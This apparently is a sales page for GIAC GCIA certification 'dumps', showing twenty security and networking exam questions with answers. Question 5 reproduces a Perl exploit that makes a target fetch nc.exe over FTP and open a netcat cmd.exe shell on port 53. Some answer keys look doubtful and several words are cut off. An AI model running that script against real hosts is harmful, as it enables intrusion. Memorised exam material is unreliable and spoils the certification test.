we provide Downloadable GIAC GCIA real exam which are the best for clearing GCIA test, and to get certified by GIAC GIAC Certified Intrusion Analyst. The GCIA Questions & Answers covers all the knowledge points of the real GCIA exam. Crack your GIAC GCIA Exam with latest dumps, guaranteed!
Online GIAC GCIA free dumps demo Below:
NEW QUESTION 1
Which of the following proxy servers is placed anonymously between the client and remote server and handles all of the traffic from the client?
- A. Caching proxy server
- B. Web proxy server
- C. Forced proxy server
- D. Open proxy server
Answer: C
NEW QUESTION 2
Adam works as a Computer Hacking Forensic Investigator in a law firm. He has been assigned with his first project. Adam collected all required evidences and clues. He is now required to write an investigative report to present before court for further prosecution of the case. He needs guidelines to write an investigative report for expressing an opinion. Which of the following are the guidelines to write an investigative report in an efficient way?
Each correct answer represents a complete solution. Choose all that apply.
- A. All ideas present in the investigative report should flow logically from facts to conclusion
- B. Opinion of a lay witness should be included in the investigative repor
- C. The investigative report should be understandable by any reade
- D. There should not be any assumptions made about any facts while writing the investigative repor
Answer: ACD
NEW QUESTION 3
Which of the following tools is described below?
It is a set of tools that are used for sniffing passwords, e-mail, and HTTP traffic. Some of its tools include arpredirect, macof, tcpkill, tcpnice, filesnarf, and mailsnarf. It is highly effective for sniffing both switched and shared networks. It uses the arpredirect and macof tools for switching across switched networks. It can also be used to capture authentication information for FTP, telnet, SMTP, HTTP, POP, NNTP, IMAP, etc.
- A. Dsniff
- B. Libnids
- C. Cain
- D. LIDS
Answer: A
NEW QUESTION 4
You work as a Network Administrator for Net Perfect Inc. The company has a TCP/IP-based network. You are configuring an Internet connection on a server. Which of the following servers filters outbound Web traffic on the network?
- A. DHCP server
- B. DNS server
- C. Proxy server
- D. WINS server
Answer: C
NEW QUESTION 5
Adam, a malicious hacker performs an exploit, which is given below:
#################################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = 'noone@nowhere.com';# password
#################################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo $pass>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo bin>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo get hacked. html>>sasfile\"");
system("perl msadc.pl -h $host -C \"echo quit>>sasfile\"");
print "Server is downloading ... \n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\"");
print "Press ENTER when
download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";
#system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?
- A. Creates a share called "sasfile" on the target system
- B. Opens up a SMTP server that requires no username or password
- C. Creates an FTP server with write permissions enabled
- D. Opens up a telnet listener that requires no username or password
Answer: D
NEW QUESTION 6
Which of the following cryptographic methods are used in EnCase to ensure the integrity of the data, which is acquired for the investigation?
Each correct answer represents a complete solution. Choose two.
- A. CRC
- B. HAVAL
- C. Twofish
- D. MD5
Answer: AD
NEW QUESTION 7
Which of the following is the primary TCP/IP protocol used to transfer text and binary files over the Internet?
- A. PPTP
- B. SNMP
- C. FTP
- D. SMTP
Answer: C
NEW QUESTION 8
Which of the following IP packet elements is responsible for authentication while using IPSec?
- A. Authentication Header (AH)
- B. Layer 2 Tunneling Protocol (L2TP)
- C. Internet Key Exchange (IKE)
- D. Encapsulating Security Payload (ESP)
Answer: A
NEW QUESTION 9
Which of the following is allowed by a company to be addressed directly from the public network and is hardened to screen the rest of its network from security exposure?
- A. Intrusion detection system
- B. A computer installed in the network and configured with sender reputation
- C. bastion host
- D. Exchange ActiveSync
Answer: C
NEW QUESTION 10
You work as a Network Administrator for Tech Perfect Inc. The office network is configured as an IPv6 network. You have to configure a computer with the IPv6 address, which is equivalent to an IPv4 publicly routable address. Which of the following types of addresses will you choose?
- A. Site-local
- B. Global unicast
- C. Local-link
- D. Loopback
Answer: B
NEW QUESTION 11
Adam works as a professional Computer Hacking Forensic Investigator. A project has been assigned to him to investigate computer of an unfaithful employee of SecureEnet Inc. Suspect's computer runs on Windows operating system. Which of the following sources will Adam investigate on a Windows host to collect the electronic evidences?
Each correct answer represents a complete solution. Choose all that apply.
- A. Allocated cluster
- B. Swap files
- C. Slack spaces
- D. Unused and hidden partition
Answer: BCD
NEW QUESTION 12
You work as a Network Administrator for McRobert Inc. You want to know the NetBIOS name of your computer. Which of the following commands will you use?
- A. NBTSTAT -s
- B. NETSTAT -s
- C. NETSTAT -n
- D. NBTSTAT -n
Answer: D
NEW QUESTION 13
Adam works as a Security Administrator for Umbrella Inc. A project has been assigned to him to secure access to the network of the company from all possible entry points. He segmented the network into several subnets and installed firewalls all over the network. He has placed very stringent rules on all the firewalls, blocking everything in and out except ports that must be used.
He does need to have port 80 open since his company hosts a website that must be accessed from the Internet. Adam is still worried about programs like Hping2 that can get into a network through covert channels.
Which of the following is the most effective way to protect the network of the company from an attacker using Hping2 to scan his internal network?
- A. Block ICMP type 13 messages
- B. Block all outgoing traffic on port 21
- C. Block all outgoing traffic on port 53
- D. Block ICMP type 3 messages
Answer: A
NEW QUESTION 14
Which of the following commands is used to verify the hash value in Netcat?
- A. type
- B. check
- C. mount
- D. checksum
Answer: A
NEW QUESTION 15
Which of the following tools in Helix Windows Live is used to reveal the database password of password protected MDB files created using Microsoft Access or with Jet Database Engine?
- A. Asterisk logger
- B. Access Pass View
- C. FAU
- D. Galleta
Answer: B
NEW QUESTION 16
Which of the following best describes the term protocol?
- A. The ability to move data through layers of the OSI mode
- B. The combination of cable type and access method used on a networ
- C. A set of rule
- D. The permissible amount of data contained in a packe
Answer: C
NEW QUESTION 17
What does a firewall check to prevent certain ports and applications from getting the packets into an Enterprise?
- A. The application layer port numbers and the transport layer headers
- B. The presentation layer headers and the session layer port numbers
- C. The network layer headers and the session layer port numbers
- D. The transport layer port numbers and the application layer headers
Answer: D
NEW QUESTION 18
You are concerned about outside attackers penetrating your network via your company Web server. You wish to place your Web server between two firewalls. One firewall between the Web server and the outside world. The other between the Web server and your network. What is this called?
- A. DMZ
- B. SPI firewall
- C. IDS
- D. Application Gateway firewall
Answer: A
NEW QUESTION 19
Which of the following is an asymmetric encryption algorithm?
- A. Blowfish
- B. RC5
- C. Diffie-Hellman
- D. RC4
Answer: C
NEW QUESTION 20
Which of the following statements about User Datagram Protocol (UDP) is true?
- A. It is a hardware protoco
- B. It is a connectionless protoco
- C. It is a tunneling protoco
- D. It is a connection-oriented protoco
Answer: B
NEW QUESTION 21
......
Recommend!! Get the Full GCIA dumps in VCE and PDF From DumpSolutions.com, Welcome to Download: https://www.dumpsolutions.com/GCIA-dumps/ (New 508 Q&As Version)